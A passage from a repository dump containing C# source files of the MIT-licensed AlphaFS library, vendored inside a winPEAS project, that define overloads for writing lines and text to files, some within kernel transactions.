<exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, string[] contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(null, path, contents, encoding, false, true, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <remarks>The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM).</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, IEnumerable<string> contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, IEnumerable<string> contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, contents, encoding, false, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, string[] contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, contents, new UTF8Encoding(false, true), false, true, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLines(string path, string[] contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, contents, encoding, false, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllLinesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>[AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <remarks>The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM).</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <remarks>The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM).</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <remarks>The default behavior of the method is to write out data by using UTF-8 encoding without a byte order mark (BOM).</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The lines to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable<string> contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, new UTF8Encoding(false, true), false, true, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Creates a new file by using the specified encoding, writes a collection of strings to the file, and then closes the file.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string array to write to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllLinesTransacted(KernelTransaction transaction, string path, string[] contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, contents, encoding, false, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Creates a new file, writes the specified string to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <remarks>This method uses UTF-8 encoding without a Byte-Order Mark (BOM)</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      [SecurityCritical]\n      public static void WriteAllText(string path, string contents)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, new UTF8Encoding(false, true), false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates a new file, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      [SecurityCritical]\n      public static void WriteAllText(string path, string contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, false, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes the specified string to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <remarks>This method uses UTF-8 encoding without a Byte-Order Mark (BOM)</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllText(string path, string contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, new UTF8Encoding(false, true), false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllText(string path, string contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, false, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.WriteAllTextTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>[AlphaFS] Creates a new file as part of a transaction, write the contents to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <remarks>This method uses UTF-8 encoding without a Byte-Order Mark (BOM)</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      [SecurityCritical]\n      public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, new UTF8Encoding(false, true), false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file as part of a transaction, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      [SecurityCritical]\n      public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, false, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a new file as part of a transaction, write the contents to the file, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <remarks>This method uses UTF-8 encoding without a Byte-Order Mark (BOM)</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, new UTF8Encoding(false, true), false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a new file as part of a transaction, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to write to.</param>\n      /// <param name=\"contents\">The string to write to the file.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, false, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides static methods for the creation, copying, deletion, moving, and opening of a single file, and aids in the creation of FileStream objects.</summary>\n   public static partial class File\n   {\n      // This file only exists for the documentation.\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileIdBothDirectoryInfo.cs",
